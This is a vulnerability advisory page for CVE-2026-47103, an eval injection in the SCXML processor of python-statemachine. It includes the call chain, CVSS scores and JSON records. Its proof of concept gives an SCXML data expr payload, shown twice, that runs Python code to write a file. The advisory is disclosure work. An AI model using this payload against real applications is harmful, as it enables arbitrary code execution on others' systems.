Vulnerability-Lookup

GHSA-V4JC-PM6R-3VJ8

Vulnerability from github – Published: 2026-06-18 14:28 – Updated: 2026-06-18 14:28

Summary

python-statemachine SCXML <data expr> Eval Injection

Details

Summary

python-statemachine 3.1.2 evaluates <data expr="..."> attributes in SCXML documents using Python's eval(). Any application that passes attacker-controlled SCXML content to SCXMLProcessor is vulnerable to arbitrary code execution in the context of the hosting process.

Details

SCXMLProcessor.parse_scxml_file() processes SCXML documents and evaluates <data> element expr attributes via the following call chain:

SCXMLProcessor.parse_scxml_file()
SCXMLProcessor.process_definition()
create_datamodel_action_callable()
_create_dataitem_callable()
_eval()
eval()

_eval() calls Python's built-in eval() directly on the expression string without sandboxing or restriction.

PoC

1. Install:
   pip install python-statemachine==3.1.2

2. Create an SCXML file containing:
   <data id="x" expr="__import__('pathlib').Path('marker.txt').write_text('pwned')"/>

3. Run:
   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)
   SCXMLProcessor.start()

4. During start(), <data expr> reaches _eval(), which calls eval().

5. Result:
   data_marker_before_start: False
   data_marker_after_start: True
   success: True

Impact

This is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-statemachine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:28:02Z",
    "nvd_published_at": "2026-06-17T15:16:58Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\npython-statemachine 3.1.2 evaluates `\u003cdata expr=\"...\"\u003e` attributes in SCXML documents using Python\u0027s `eval()`. Any application that passes attacker-controlled SCXML content to `SCXMLProcessor` is vulnerable to arbitrary code execution in the context of the hosting process.\n\n### Details\n\n`SCXMLProcessor.parse_scxml_file()` processes SCXML documents and evaluates `\u003cdata\u003e` element `expr` attributes via the following call chain:\n\n```\nSCXMLProcessor.parse_scxml_file()\nSCXMLProcessor.process_definition()\ncreate_datamodel_action_callable()\n_create_dataitem_callable()\n_eval()\neval()\n```\n\n`_eval()` calls Python\u0027s built-in `eval()` directly on the expression string without sandboxing or restriction.\n\n### PoC\n\n```\n1. Install:\n   pip install python-statemachine==3.1.2\n\n2. Create an SCXML file containing:\n   \u003cdata id=\"x\" expr=\"__import__(\u0027pathlib\u0027).Path(\u0027marker.txt\u0027).write_text(\u0027pwned\u0027)\"/\u003e\n\n3. Run:\n   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)\n   SCXMLProcessor.start()\n\n4. During start(), \u003cdata expr\u003e reaches _eval(), which calls eval().\n\n5. Result:\n   data_marker_before_start: False\n   data_marker_after_start: True\n   success: True\n```\n\n### Impact\n\nThis is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.",
  "id": "GHSA-v4jc-pm6r-3vj8",
  "modified": "2026-06-18T14:28:02Z",
  "published": "2026-06-18T14:28:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fgmacedo/python-statemachine/security/advisories/GHSA-v4jc-pm6r-3vj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47103"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fgmacedo/python-statemachine"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fgmacedo/python-statemachine/releases/tag/v3.2.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/python-statemachine-rce-via-scxml-eval-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "python-statemachine SCXML \u003cdata expr\u003e Eval Injection"
}

CVE-2026-47103 (GCVE-0-2026-47103)

Vulnerability from cvelistv5 – Published: 2026-06-17 14:32 – Updated: 2026-06-18 14:31 X_Open Source

Title

Python StateMachine 3.0.0 < 3.2.0 RCE via SCXML eval() Injection

Summary

Python StateMachine versions 3.0.0 before 3.2.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary code by supplying malicious SCXML documents containing crafted `<data expr="...">` attributes evaluated unsafely. The SCXMLProcessor passes attacker-controlled expression strings through a call chain ending in Python's built-in eval() without sandboxing, enabling arbitrary code execution in the context of the hosting process.

Severity

9.3 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Assigner

VulnCheck

References

3 references

URL	Tags
https://github.com/fgmacedo/python-statemachine/r…	release-notes
https://github.com/fgmacedo/python-statemachine/s…	vendor-advisory
https://www.vulncheck.com/advisories/python-state…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
fgmacedo	python-statemachine	Affected: 3.0.0 , < 3.2.0 (semver)

Date Public

2026-06-16 00:00

Credits

Sai Teja Erukude VulnCheck

Show details on NVD website

JSON

To clipboard

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                "role": "CISA Coordinator",
                "timestamp": "2026-06-18T14:30:49.802580Z",
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-V4JC-PM6R-3VJ8

Summary

Details

PoC

Impact

CVE-2026-47103 (GCVE-0-2026-47103)

Tags

Sightings

Nomenclature